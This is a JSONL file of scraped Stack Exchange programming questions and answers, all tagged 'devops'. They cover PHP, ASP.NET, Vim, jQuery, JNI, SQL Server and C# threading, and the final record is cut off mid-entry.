{"id": "hf_451a7fd28c9d", "question": "<p>Should the \"visibility\" for the <code>__destruct()</code> function be public or something else? I'm trying to write a standards doc for my group and this question came up.</p>\n", "question_body": "", "answer": "I think it would need to be public in the case where a subclass needs to explicitly call the\n__destruct\nmethod of the parent class.\nSomething like this would throw an error:\n```\n```\n<?php\nclass MyParent\n{\n    private function __destruct()\n    {\n        echo 'Parent::__destruct';\n    }\n}\n\nclass MyChild extends MyParent\n{\n    function __destruct()\n    {\n        echo 'Child::__destruct';\n        parent::__destruct();\n    }\n}\n\n$myChild = new MyChild();\n?>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:56.504381"}
{"id": "hf_1847e93e4c62", "question": "<p>Exception is: \n'Country' has a SelectedValue which is invalid because it does not exist in the list of items.\nParameter name: value</p>\n\n<pre><code>UserService.DsUserAttributes dsCountry = us_service.GetUserAttributeDropDown(systemId, \"Country\");\nCountry.DataSource = dsCountry.tblDropDownValues;\nCountry.DataTextField = \"AttrValue\";\nCountry.DataValueField = \"Id\";\nCountry.DataBind();\n</code></pre>\n\n<p>The values held within dsCountry.tblDropDownValues are:</p>\n\n<pre><code>Id                                      AttrValue       AttrName\naefa28e0-a118-11dd-ad8b-080c210c9a66    PLEASE SELECT   Country\n213a743e-ea0b-419c-bd44-03b1c35241b3    USA         Country\neefa1387-8dc0-11d8-975f-13da67a41a5d    CANADA          Country\n</code></pre>\n", "question_body": "", "answer": "Try binding the data on postback.  It sounds like when the event handler is accessing the DropDownList, it hasn't been repopulated with the values you are initially binding to the DropDownList.\nAlso, remember to bind early enough so that it is bound before the event handler starts its processing.  OnInit or OnLoad should be good enough.\nOtherwise, might need some more details:\nWhen is the exception occurring? During the rendering, or on the postback in the event handler?\nDo you have a stack trace on the error that might point to the point in the code where the selected value is accessed?\nWhen are you binding the data?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:56.540050"}
{"id": "hf_3cb15075650b", "question": "<p>Has Java 1.6 SDK been released for mac? I can't seem to find it...</p>\n", "question_body": "", "answer": "Yes, but only for 64-bit Intel-based Macs, i.e. Macs using Core 2 (duo or solo) or Xeon chips. The original Core chip is not supported, nor is any PPC chip. Also, Java 6 is currently Leopard-only. The update should appear in Software Update, if you have a compatible Mac and recent-enough OS version.\nHere are the release notes for the\nfirst update\n. And here are the\nsecond update\n's release notes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:56.563730"}
{"id": "hf_bb4a4c00436d", "question": "<p>Using Vim, I'm trying to pipe text selected in visual mode to a UNIX command and have the output appended to the end of the current file. For example, say we have a SQL command such as:</p>\n\n<pre><code>SELECT * FROM mytable;\n</code></pre>\n\n<p>I want to do something like the following:</p>\n\n<pre><code>&lt;ESC&gt;\nV                 \" select text\n:'&lt;,'&gt;!mysql -uuser -ppass mydb\n</code></pre>\n\n<p>But instead of having the output overwrite the currently selected text, I would like to have the output appended to the end of the file. You probably see where this is going. I'm working on using Vim as a simple SQL editor. That way, I don't have to leave Vim to edit, tweak, test SQL code.</p>\n", "question_body": "", "answer": "How about copying the selected text to the end of the file, select the copy and run the command? If you do not want to repeat the same commands over and over again, you can record the sequence by using\n```\nq\n```\nor add a new command. I have tried the latter as follows:\n```\n```\n:com -range C <line1>,<line2>yank | $ | put | .,$ !rev\n```\n```\nWith it you can select some lines and then type\n```\n:C\n```\n. This will first yank the selection, then go to the end of the file, paste the yanked text and run the command (\n```\nrev\n```\nin this case) over the new text.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:56.602561"}
{"id": "hf_2eae51e9dfcf", "question": "<p>I am trying to get center of parent form, not center of screen behavior.\nPassing in the parent form seems to only control the ownership of the window.\nThese classes are sealed, so I do not see how I can do any WinProc tricks.\nRewriting the classes is not an appealing option.\nAny other ideas?</p>\n", "question_body": "", "answer": "I do not know much about the dialogs or message boxes but, you can position a new Form as you are looking for with its StartPosition property.\n```\n```\nSystem.Windows.Forms.Form f = new Form();\nf.StartPosition = FormStartPosition.CenterParent;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:56.673236"}
{"id": "hf_59e32449962b", "question": "<p>I'm making another app's window topmost to ensure that a click in my app brings the other's dialog into views. The problem I'm having is that I don't get focus back to my app after the call. If the other app has more windows one of them ends up with focus, and otherwise no window (looking at the taskbar only) gets focus. Where should I start investigating the issue? </p>\n\n<p>My code for making the other app topmost is:</p>\n\n<pre><code>Process p = Process.GetProcessById(trackedProcessID);\nIntPtr h = p.MainWindowHandle;\nuint TOPMOST_FLAGS = SWP_NOMOVE | SWP_NOSIZE | SWP_ASYNCWINDOWPOS;\nSetWindowPos(h, HWND_TOPMOST, 0, 0, 0, 0, TOPMOST_FLAGS);\n</code></pre>\n\n<p>with constants as</p>\n\n<pre><code>public static readonly uint SWP_NOMOVE = 0x0002;\npublic static readonly uint SWP_NOSIZE = 0x0001;\npublic static readonly uint SWP_ASYNCWINDOWPOS = 0x4000;\npublic static readonly IntPtr HWND_TOPMOST = new IntPtr(-1);\n</code></pre>\n", "question_body": "", "answer": "Related:\nUnexpected behaviour of Process.MainWindowHandle\nBasically MainWindowHandle gives you the current top-most window of the process despite what the documentation says.\nThat explains why the main window of your other process doesn't necessarily get focus.\nYour other problem is because you are not returning focus to your app after giving it away.\nActually, the correct term for what you are doing is establishing\nz-order\n.\nInstead of trying to control z-order - which cannot be guaranteed - you might be better off sending messages to the other process.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:56.747743"}
{"id": "hf_a0357c2951f2", "question": "<p>When I am creating a new database table, what factors should I take into account for selecting the primary key's data type?</p>\n", "question_body": "", "answer": "If using a numeric key, make sure the datatype is giong to be large enough to hold the number of rows you might expect the table to grow to.\nIf using a guid, does the extra space needed to store the guid need to be considered?  Will coding against guid PKs be a pain for developers or users of the application.\nIf using composite keys, are you sure that the combined columns will always be unique?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:56.808792"}
{"id": "hf_f323f65aa0ab", "question": "<p>The print functionality of Excel (using VBA) is extremely slow. I'm hoping someone has a way of speeding the printing up (without using the Excel 4 Macro trick).  Here's how I do it now:</p>\n\n<pre><code>Application.ScreenUpdating = False\n\nWith ActiveSheet.PageSetup\n\n  -various setup statements which I've already minimized-\n\nEnd With   \nActiveSheet.PrintOut\n\nApplication.ScreenUpdating = True\n</code></pre>\n", "question_body": "", "answer": "Yes, the PageSetup properties are very slow when you set them.\nYou have already set\n```\nApplication.ScreenUpdating = False\n```\n, which is good, but an equally (or more) important step in this case is to set\n```\nApplication.Calculation = xlCalculationManual\n```\n. (It is best if you save these settings and then restore them to the original at the end.)\nAdditionally, the property get for each PageSetup property is very fast, while it is only the property set that is so slow. Therefore, you should test the new property setting to make sure it isn't already the same as the existing property value in order to prevent an unnecessary (and expensive) call.\nWith all this in mind, you should be able to use code that looks something like the following:\n```\n```\nDim origScreenUpdating As Boolean\norigScreenUpdating = Application.ScreenUpdating\nApplication.ScreenUpdating = False\n\nDim origCalcMode As xlCalculation\norigCalcMode =  Application.Calculation\nApplication.Calculation = xlCalculationManual\n\nWith ActiveSheet.PageSetup\n    If .PrintHeadings <> False Then .PrintHeadings = False\n    If .PrintGridlines <> False Then .PrintGridlines = False\n    If .PrintComments <> xlPrintNoComments Then .PrintComments = xlPrintNoComments\n    ' Etc...\nEnd With\n\nApplication.ScreenUpdating = origScreenUpdating\nApplication.Calculation = origCalcMode\n```\n```\nEdit: A couple of updates:\nFor Excel 2010 and above you can make use of the 'Application.PrintCommunication' property, while for Excel 2007 and below, you can make use of 'ExecuteExcel4Macro'. For more details, see\nMigrating Excel 4 Macros to VBA\n.\nFor Excel 2007 and below, another interesting trick is to temporarily assign the printer driver to the 'Microsoft XPS Document Writer' and then set it back. Printing speed can improve by 3x. See:\nSlow Excel PageSetup Methods\n.\nHope this helps...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:56.844618"}
{"id": "hf_9b131a31311d", "question": "<p>I am new to jmock and trying to mock an HttpSession. I am getting:</p>\n\n<p>java.lang.AssertionError: unexpected invocation: httpServletRequest.getSession()\nno expectations specified: did you...\n - forget to start an expectation with a cardinality clause?\n - call a mocked method to specify the parameter of an expectation?</p>\n\n<p>the test method:</p>\n\n<p>@Test</p>\n\n<pre><code>public void testDoAuthorization(){\n\n    final HttpServletRequest request = context.mock(HttpServletRequest.class);\n    final HttpSession session = request.getSession();\n\n    context.checking(new Expectations(){{\n       one(request).getSession(true); will(returnValue(session));\n   }});\n\n    assertTrue(dwnLoadCel.doAuthorization(session));\n}\n</code></pre>\n\n<p>I have done a bit of searching and it isn't clear to me still how this is done. Feels like I am missing some small piece. Anyone with experience in this can just point me in the right direction.\nthanks</p>\n", "question_body": "", "answer": "I think you need to tell the JMock context how many times you expect the method to be called before you actually go ahead and call it.\n```\n```\nfinal HttpServletRequest request = context.mock(HttpServletRequest.class);\n\ncontext.checking(new Expectations(){{\n  one(request).getSession(true); will(returnValue(session));\n}});\n\nfinal HttpSession session = request.getSession();\n```\n```\nI'm not super familiar with JMock but do you actually care in your\n```\ndwnLoadCel\n```\nunit test how many times certain methods in the mocked object are called? Or are you just trying to test your class that depends on a HttpSession without an actual Session? If it's the latter than I think that JMock is overkill for you.\nYou might want to look into either creating a class that implements the\n```\nHttpSession\n```\ninterface yourself for the purposes of unit testing only (a stub), and running your tests off of that, or you should take a look at\n```\ndwnLoadCel\n```\nand determine if it\nreally\nneeds to have a reference to the HttpSession, or if it just needs some properties within the HttpSession. Refactor\n```\ndwnLoadCel\n```\nto only depend on what it actually needs (a\n```\nMap\n```\nor a certain parameter value within the Session object) - this will make your unit test easier (the dependency on the servlet container goes bye-bye).\nI think that you have some level of dependency injection in your class being tested already, but you might be dependent on too broad of an object.\nThe Google Test Blog\nhas had\na lot\nof excellent\narticles\non DI lately that you might find useful (I sure have).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:56.869299"}
{"id": "hf_dabe0e4e79af", "question": "<p>I am writing a DB upgrade script that will check to see if an index has the right two columns defined.  If it doesn't, or if it only has one of them, then I will DROP it (is there a way to ALTER an index?) and then recreate it with both.</p>\n", "question_body": "", "answer": "I don't have a database immediately on-hand to test this, but you should be able to see if a column exists in an index by using the following IF EXISTS statement.\nI'm not sure whether you can alter an index on the fly.\n```\n```\nIF EXISTS\n(\n   SELECT MyIndex.Name AS IndexName, \n          Columns.name AS ColumnName \n   FROM sys.indexes MyIndex\n   INNER JOIN sys.index_columns IndexColumns \n      ON  MyIndex.index_id = IndexColumns.index_id\n      AND MyIndex.object_id = IndexColumns.object_id \n   INNER JOIN sys.columns Columns\n      ON  Columns.column_id = IndexColumns.column_id \n      AND IndexColumns.object_id = Columns.object_id \n   WHERE Columns.name = 'ColumnName'\n   AND MyIndex.Name='IX_MyIndexName'\n)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:56.893930"}
{"id": "hf_188573055e29", "question": "<p>I'm trying to use jQuery to get data from an ASP.NET web service (SharePoint Server 2007 lists.asmx), but any call to a web service will really help as a first step in that direction.</p>\n", "question_body": "", "answer": "Here is an example to call your webservice using jQuery.get:\n```\n```\n$.get(\"http://domain.com/webservice.asmx\", { name: \"John\", time: \"2pm\" },\n  function(data){\n    alert(\"Data Loaded: \" + data);\n  });\n```\n```\nIn the example above, we call \"webservice.asmx\", passing two parameters: name and time. Then, getting the service output in the call back function.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:56.918811"}
{"id": "hf_6d3158de4897", "question": "<p>I'm looking for the equivalent of right clicking on the drive in windows and seeing the disk space used and remaining info.</p>\n", "question_body": "", "answer": "Look for the commands\n```\ndu\n```\n(disk usage) and\n```\ndf\n```\n(disk free)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:56.942912"}
{"id": "hf_e9815f8d4564", "question": "<p>In my <a href=\"https://stackoverflow.com/questions/222442/sql-server-running-large-script-files\">eternal</a> <a href=\"https://stackoverflow.com/questions/224830/how-do-i-set-a-sql-server-scripts-timeout-from-within-the-script\">saga</a> to insert 1.4 million rows of data from a SQL script, I've written a basic WinForms app that takes each line of the script and executes it individually.</p>\n\n<p>However, because the original script contained</p>\n\n<pre><code>SET IDENTITY_INSERT [Table] OFF\n</code></pre>\n\n<p>and SET is a session-wide command, this setting is getting lost on every SQL call, meaning that each line is failing.  Is there a way to set IDENTITY_INSERT off for the whole table, database-wide just so I can make these individual calls without them failing?  Or perhaps I can tell it to ignore the identity specification by appending a command to each line?</p>\n", "question_body": "", "answer": "BULK INSERT\nwon't work for you?  Or the SQL Server Import/Export Wizard (\nhere\nor\nhere\n)?  I know import/export can turn off identity insert for the whole import.  I'm reasonably certain you can do it just prior to BULK INSERT", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:56.967542"}
{"id": "hf_03846a5a6268", "question": "<p>I want yo use the EXSLT - DYN:EVALUATE in a style sheet. I have added the names pace but I don't know where the .xsl file I need to import is. I don't believe I have XALAN installed to point the import to. How would I install this? Once installed and I point it to the .xsl will it pick up the function and apply it? I am running Windows. The XSLT file is included at the top of the XML document.</p>\n\n<p>Thanks</p>\n\n<p>Pete</p>\n", "question_body": "", "answer": "Xalan has the EXSL dyn:evaluate function built-in, you don't need to import anything in order to use it. You just need to declare the namespace. I'll give a small example:\ninput.xml\n:\n```\n```\n<root>\n<foo>I am foo</foo>    \n<bar>I am bar</bar>    \n</root>\n```\n```\ndyn_evaluate.xsl\n:\n```\n```\n<xsl:stylesheet version=\"1.0\"\n    xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" \n    xmlns:dyn=\"http://exslt.org/dynamic\"\n    extension-element-prefixes=\"dyn\">\n\n  <xsl:param name=\"path\"/>\n\n  <xsl:output method=\"text\"/>\n\n  <xsl:template match=\"/\">\n    <xsl:value-of select=\"dyn:evaluate($path)\"/>\n  </xsl:template>\n\n</xsl:stylesheet>\n```\n```\nRunning\n```\n```\nxalan.exe -p path '/root/foo' input.xml dyn_evaluate.xsl\n```\n```\ngives\n```\n```\nI am foo\n```\n```\nRunning\nxalan.exe -p path '/root/bar' input.xml dyn_evaluate.xsl\ngives\n```\n```\nI am bar\n```\n```\nHope this helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:56.992304"}
{"id": "hf_974d60059b38", "question": "<p>Looking to hear from people who are using WCF in an enterprise environment.</p>\n\n<p>What were the major hurdles with the roll out?\nPerformance issues?\nAny and all tips appreciated!</p>\n\n<p>Please provide some general statistics and server configs if you can!</p>\n", "question_body": "", "answer": "WCF can be\nconfiguration hell\n. Be sure to familiarize yourself with its\ndiagnostics and svcTraceViewer\n, lest you get madenning cryptic, useless exceptions. And watch out for the generated client's\nbroken implementation of the disposable pattern\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:57.018380"}
{"id": "hf_4cfdaa705f23", "question": "<p>What would be the best way to fill an array from user input?</p>\n\n<p>Would a solution be showing a prompt message and then get the values from from the user?</p>\n", "question_body": "", "answer": "```\n```\nstring []answer = new string[10];\nfor(int i = 0;i<answer.length;i++)\n{\n    answer[i]= Console.ReadLine();\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:57.068684"}
{"id": "hf_a029331f378f", "question": "<p>I've gone through most of the example code and I still need some help.  I want to make an uber-simple app:  show one screen at startup with a label and a button.  click the button and we slide over to another screen (I suppose these are called views) which has another label and the \"back\" button in the top menu bar.  I just want to click back and forth between the two screens.</p>\n\n<p>How do I do this?</p>\n", "question_body": "", "answer": "You'll need to use a UINavigationController to accomplish the \"slide\"/\"back button\" behavior you're talking about. It is as simple as you might think, as long as the app is setup correctly. Essentially, UINavigationControllers allow you to push and pop instances of UIViewController or subclasses thereof, and take care of the animation and view history tracking for you.\nThe best way to get started, by far, is just open XCode, choose \"New Project\", and start with the \"Navigation-Based Application.\" Dig around that project for a while and I think you'll start to see clearly what needs to be done.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:57.117691"}
{"id": "hf_51f2b5532a75", "question": "<p>I have a table with multiple rows. Each row is a form. I want to use JQuery to submit all the forms that have the check box checked. The form is posting to an IFrame so there is not much need for AJAX.</p>\n\n<p>So far I have:</p>\n\n<pre><code>       $(\"form\").submit();\n</code></pre>\n\n<p>which submits the form. but all forms. There is arbritary number of rows, could be 80-100.</p>\n", "question_body": "", "answer": "This is kinda a guess since I'm not sure of your layout, but here goes....\n```\n```\n$(\"td > input:checked > form\").submit();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:57.152781"}
{"id": "hf_b6f3b51db824", "question": "<p>If not, is <a href=\"http://en.wikipedia.org/wiki/Smoke_test#Smoke_testing_in_software_development\" rel=\"nofollow noreferrer\">smoke testing</a> still used?</p>\n", "question_body": "", "answer": "It's sort of a Venn Diagram.  Some Automated tests are Smoke tests, and some smoke tests are Automated (inasfar as they are ran by a computer program).  A Smoke test is a take off (if I recall correctly) on the term \"Where there's smoke, there's usually fire.\"  It's a set of preliminary tests that the program must pass to be considered for 'real' (viz. fire) testing.\nA smoke test can be manual insomuch as a tester has a list of steps he follows, but these aren't automated with a computer program.\nSmoke testing is still used -- in places I've worked, it's usually automated.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:57.205105"}
{"id": "hf_6f46d81a1c1e", "question": "<p>Where are variables in C++ stored?</p>\n\n<p>Inside the RAM or the processor's cache?</p>\n", "question_body": "", "answer": "Variables can be held in a number of different places, sometimes in more than one place.  Most variables are placed in RAM when a program is loaded; sometimes variables which are declared\n```\nconst\n```\nare instead placed in ROM.  Whenever a variable is accessed, if it is not in the processor's cache, a cache miss will result, and the processor will stall while the variable is copied from RAM/ROM into the cache.\nIf you have any halfway decent optimizing compiler, local variables will often instead be stored in a processor's register file.  Variables will move back and forth between RAM, the cache, and the register file as they are read and written, but they will generally always have a copy in RAM/ROM, unless the compiler decides that's not necessary.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:57.241498"}
{"id": "hf_53d0962ab63a", "question": "<p>I am trying to sort a list using delegates but I am getting a signature match error. The compiler says I cannot convert from an 'anonymous method' </p>\n\n<pre><code>List&lt;MyType&gt; myList = GetMyList();\nmyList.Sort( delegate (MyType t1, MyType t2) { return (t1.ID &lt; t2.ID); } );\n</code></pre>\n\n<p>What am I missing?</p>\n\n<p>Here are some references I found and they do it the same way.</p>\n\n<p><a href=\"http://www.developerfusion.com/code/5513/sorting-and-searching-using-c-lists/\" rel=\"noreferrer\">Developer Fusion Reference</a> </p>\n\n<p><a href=\"http://blogs.msdn.com/devdev/archive/2006/06/30/652802.aspx\" rel=\"noreferrer\">Microsoft Reference</a></p>\n", "question_body": "", "answer": "The Sort doesn't take a binary predicate, it takes a\n```\nComparison<T>\n```\ndelegate which returns an\n```\nint\n```\nnot a\n```\nbool\n```\n.\nThe return values are\n```\n0\n```\nfor when the items are equal,\n```\n<0\n```\nfor when the first item is less than the second, and\n```\n>0\n```\nfor when the first item is greater than the second.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:57.276590"}
{"id": "hf_6e1bd88d237e", "question": "<p>Assume that I set up an <a href=\"https://stackoverflow.com/questions/204603/nightly-builds-why-should-i-do-it\">automatic nightly build</a>.  What artifacts of the build should I save?</p>\n\n<p>For example:</p>\n\n<ul>\n<li>Input source code</li>\n<li>output binaries</li>\n</ul>\n\n<p>Also, how long should I save them, and where?</p>\n\n<p>Do your answers change if I do Continuous Integration?  </p>\n", "question_body": "", "answer": "We save the binaries, stripped and unstripped (so we have the exactly same binary, once with and once without debug symbols). Further we build everything twice, once with debug output enabled and once without (again, stripped and unstripped, so every build result in 4 binaries). The build is stored to a directory according to SVN revision number. That way we can always retain the source from the SVN repository by simply checking out this very revision (that way the source is archived as well).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:57.324671"}
{"id": "hf_b05a10912697", "question": "<p>I am actually developing and application that has around 15 modules, all of them using the same database.</p>\n\n<p>I am using Apache + Mongrel, I cannot use Passenger because I am working on Windows (please forgive me for this deadly sin!)</p>\n\n<p>Which of the following is a better approach?</p>\n\n<ol>\n<li>Deploy multiple small rails\napplications using a virtual server\nand a pair of mongrels for each\napplication.</li>\n<li>Deploy only a big rails application</li>\n</ol>\n\n<p>I am worried about the number of running mongrels and the memory/cpu load.</p>\n", "question_body": "", "answer": "It depends on hwo many simultaneous clients you expect to have.  One mongrel, one client at a time (until Rails 2.2) since Rails isn't currently threaded.\nTwo is enough mongrels if you don't expect more than a few simultaneous users.  You can raise that number by using page caching to bypass mongrel for pages that don't have user-specific dynamic content.\nThe only way to be truly sure is to test the system.\nIn my experience you'll need at least 4 mongrels for a moderately active site of just a few users at a time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:57.360422"}
{"id": "hf_01fcf7b649f7", "question": "<p>PHP has a very nice function, isset($variableName). It checks if $variableName is already defined in the program or not.</p>\n\n<p>Can we build similar feature for C/C++ (some kind of symbol table lookup)?</p>\n", "question_body": "", "answer": "Not really.  You can't dynamically create variables (though you can dynamically create storage with malloc() et al, or new et al. in C++) in C.  I suppose dynamically loaded libraries blur the picture, but even there, the way you establish whether the variable exists is by looking up its name.  If the name is not there, then, short of running a compiler to create a dynamically loaded module and then loading it, you are probably stuck.  The concept really doesn't apply to C or C++.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:57.460398"}
{"id": "hf_21ea27e2225e", "question": "<p>I'd like a consistent and simple way to throw exceptions in JNI code; something that handles chained exceptions (implicitly from the env->ExceptionOccurred method, or explicitly by parameters, either way is good) and saves me looking up constructors every time I want to do this.  All of the above is preferably in C, although I could translate it from C++ at need.</p>\n\n<p>Does anyone on SO have something like this that they can share?</p>\n", "question_body": "", "answer": "We just code utility methods for each of the types of exceptions we want to throw.  Here are some examples:\n```\n```\njint throwNoClassDefError( JNIEnv *env, char *message )\n{\n    jclass exClass;\n    char *className = \"java/lang/NoClassDefFoundError\";\n\n    exClass = (*env)->FindClass( env, className);\n    if (exClass == NULL) {\n        return throwNoClassDefError( env, className );\n    }\n\n    return (*env)->ThrowNew( env, exClass, message );\n}\n\njint throwNoSuchMethodError(\n        JNIEnv *env, char *className, char *methodName, char *signature )\n{\n\n    jclass exClass;\n    char *exClassName = \"java/lang/NoSuchMethodError\" ;\n    LPTSTR msgBuf;\n    jint retCode;\n    size_t nMallocSize;\n\n    exClass = (*env)->FindClass( env, exClassName );\n    if ( exClass == NULL ) {\n        return throwNoClassDefError( env, exClassName );\n    }\n\n    nMallocSize = strlen(className) \n            + strlen(methodName)\n            + strlen(signature) + 8;\n\n    msgBuf = malloc( nMallocSize );\n    if ( msgBuf == NULL ) {\n        return throwOutOfMemoryError\n                ( env, \"throwNoSuchMethodError: allocating msgBuf\" );\n    }\n    memset( msgBuf, 0, nMallocSize );\n\n    strcpy( msgBuf, className );\n    strcat( msgBuf, \".\" );\n    strcat( msgBuf, methodName );\n    strcat( msgBuf, \".\" );\n    strcat( msgBuf, signature );\n\n    retCode = (*env)->ThrowNew( env, exClass, msgBuf );\n    free ( msgBuf );\n    return retCode;\n}\n\njint throwNoSuchFieldError( JNIEnv *env, char *message )\n{\n    jclass exClass;\n    char *className = \"java/lang/NoSuchFieldError\" ;\n\n    exClass = (*env)->FindClass( env, className );\n    if ( exClass == NULL ) {\n        return throwNoClassDefError( env, className );\n    }\n\n    return (*env)->ThrowNew( env, exClass, message );\n}\n\njint throwOutOfMemoryError( JNIEnv *env, char *message )\n{\n    jclass exClass;\n    char *className = \"java/lang/OutOfMemoryError\" ;\n\n    exClass = (*env)->FindClass( env, className );\n    if ( exClass == NULL ) {\n        return throwNoClassDefError( env, className );\n    }\n\n    return (*env)->ThrowNew( env, exClass, message );\n}\n```\n```\nThat way, it's easy to find them, your code-completion editor will help you to type them in, and you can pass simple parameters.\nI'm sure you could expand this to handle chained exceptions, or other more complicated approaches.  This was enough to meet our needs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:57.484891"}
{"id": "hf_e72353456391", "question": "<p>I'm using C# &amp; .NEt 3.5.  What is the difference between the OptionA and OptionB ?</p>\n\n<pre><code>class MyClass\n{\n    private object m_Locker = new object();\n    private Dicionary&lt;string, object&gt; m_Hash = new Dictionary&lt;string, object&gt;();\n\n    public void OptionA()\n    {\n        lock(m_Locker){ \n          // Do something with the dictionary\n        }\n    }\n\n    public void OptionB()\n    {\n        lock(m_Hash){ \n          // Do something with the dictionary\n        }\n    }       \n}\n</code></pre>\n\n<p>I'm starting to dabble in threading (primarly for creating a cache for a multi-threaded app, NOT using the HttpCache class, since it's not attached to a web site), and I see the OptionA syntax in a lot of the examples I see online, but I don't understand what, if any, reason that is done over OptionB.</p>\n", "question_body": "", "answer": "It's not what you're \"Locking\", its the code that's contained between the lock { ... } thats important and that you're preventing from being executed.\nIf one thread takes out a lock() on any object, it prevents other threads from obtaining a lock on the same object, and hence prevents the second thread from executing the code between the braces.\nSo that's why most people just create a junk object to lock on, it prevents other threads from obtaining a lock on that same junk object.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, 